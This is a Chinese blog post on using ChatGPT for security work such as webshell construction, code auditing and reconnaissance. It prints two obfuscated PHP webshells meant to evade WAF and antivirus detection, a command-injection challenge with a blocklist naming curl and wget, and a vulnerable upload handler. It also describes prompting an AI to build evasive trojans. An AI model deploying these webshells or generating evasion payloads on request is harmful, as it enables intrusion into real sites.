ChatGPT-4对网络安全的影响和变革_gpt-4+网络安全

GPT-4震撼发布：多模态大模型，直接升级ChatGPT、必应，开放API，游戏终结了？

GPT-4 实现了以下几个方面的飞跃式提升：强大的识图能力；文字输入限制提升至 2.5 万字；回答准确性显著提高；能够生成歌词、创意文本，实现风格变化。

这里浅谈ChatGPT-4在网络安全中的应用

前言

ChatGPT是美国人工智能研究实验室OpenAI新推出的一种人工智能技术驱动的自然语言处理工具，最近ChatGPT又出圈了，之前已经在技术社区火了一把现在传播到了大众面前，我不禁又对这个神奇的AI产生了一些思考，在之前我只是让其辅助写一些简单的逻辑程序，于是我想知道它是否也能在网络安全领域实现一些它的价值呢，本文就这个话题来探讨一下它在网络安全里面一些应用和实践。

自身定位

在实践之前，我想向ChatGPT问一下它自己对于这个问题的回答是什么，即让它自己对信息安全领域起的作用进行一些分析，结果还是挺让人惊讶的：

它回答的十分全面，里面有一些内容连我自己都没有想到，于是我对探讨它在信息安全领域的作用的兴趣进一步加深，下面我便对它进行了一些测试。

构造恶意代码

这里就先以最简单的一句话木马为例，我向它提问是否能构造一个对网站产生威胁的恶意语句，AI很轻松的便回答出来了：

看来简单的恶意语句还是对它来说还是很轻松的，于是我继续向它提问一些进阶的问题，因为若我们要直接传入木马，大概率会被拦截，但可以尝试一些绕过方式来绕过设备的检测，举个例子，我用\x65编码字符串e,然后使用array类型进行混淆：

<?php array_map("ass\x65rt",(array)$_REQUEST['xino']);?>    //1.php
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通过上面的操作，一些危险函数就有可能绕过检测，于是我尝试让它用字符编码的方式来构造恶意木马：

AI完整的写完了，根据其代码逻辑实际上也是可以利用的，到这我继续加深难度：

可能是我尝试次数比较少的原因，并没有达到我理想的条件，或许再多增加一些限制条件会达到更好的效果，但是不难看出随着AI的逐渐进化，以后我们对一些WAF或杀毒软件进行测试时，可以结合AI来对产品代码进行分析，让AI构造出可以绕过的木马。
在测试时我还尝试让AI分析带有危险函数的代码，对下面这段恶意代码：

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php
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这又给我们提供了一个思路，通过AI结合防火墙来达到动态分析恶意请求的想法，进而加强我们设备的安全性。

漏洞源码分析

尝试完上面的项目，我开始思考，能否结合AI来进行代码审计，众所周知,白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。通过分析代码找到里面的漏洞点来维护网络安全，如果AI和它碰撞会产生什么样的火花呢？下面看一个例子：

我用一个简单的代码让其分析一下：

分析代码：<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|\x09|\x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
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结果还是很方便理解的，给出了这段代码的作用以及过滤的所有字符，我们可以根据这些提示来进行渗透或者防护。从而减少了一些排查时间。

之后我让其分析一个简单的有文件上传漏洞的代码，这是一个比较实际的问题，因为出现文件上传漏洞的原因是各种各样的，比如之前文章提到的白名单绕过就是因为存在可控参数目录造成的，下面是含有漏洞的代码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}
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经过了十几次的改善，给了我如下还算合理的回复:

虽然回答没啥毛病但这是经过十几次更新我筛选出来的，个人认为AI现在还达不到分析一些大量代码来给出一些合理的漏洞攻击思路，当然也可能是我提问的方式有问题，有时会出现答非所问的情况，不过我觉得随着技术更新这些小问题应该可以解决。

信息收集

在进行网站渗透时，基本的渗透流程可以参考下面我总结的图：

不管是网站信息或是网站所用服务的信息都是非常重要的，这会考察一个渗透人员的信息收集能力，收集到的信息越多对我们的渗透帮助越大，于是我想试试AI能否协助我们进行这个操作。

我试着用AI查询某网站的旁站，很快便列出了许多：

当然这只是最基础的，我们通过工具也可以进行查询，但AI搜索速度还是远远大于工具的，这不妨是一个我们进行渗透测试时可以快速进行资产收集的好途径。说到这我们不妨进一步思考，作为帮助我们渗透的工具，若我已经收集到了网站所用框架以及版本，我想问问它如何渗透：

这里AI给出了我们一个可利用的CVE漏洞，那么我继续向其提问具体利用方式：

就很有意思了，它真的给我们提供了一个脚本，先不提这个脚本，我觉得在渗透中有个AI能够随时帮助我们收集信息和脚本这能大大加快我们的渗透过程，我希望未来能发展成这样的趋势。让渗透人员少一些不必要的操作从而加大效率。

结语

目前ChatGPT为了防止恶意用户的应用，限制了对于主动构造攻击脚本的一些请求，这使得其不能展现更多的在网络安全领域的价值，本文结合我在之前收集的一些资料，简单分析了一下ChatGPT在网络安全领域的一些可能性，其中包含了一些已经实现和希望未来可以实现的一些想法，无论是AI构造代码或者进行全自动白盒分析，这都会对我们网络安全领域产生一些深远的影响，我希望这些想法可以在不远的未来实现。

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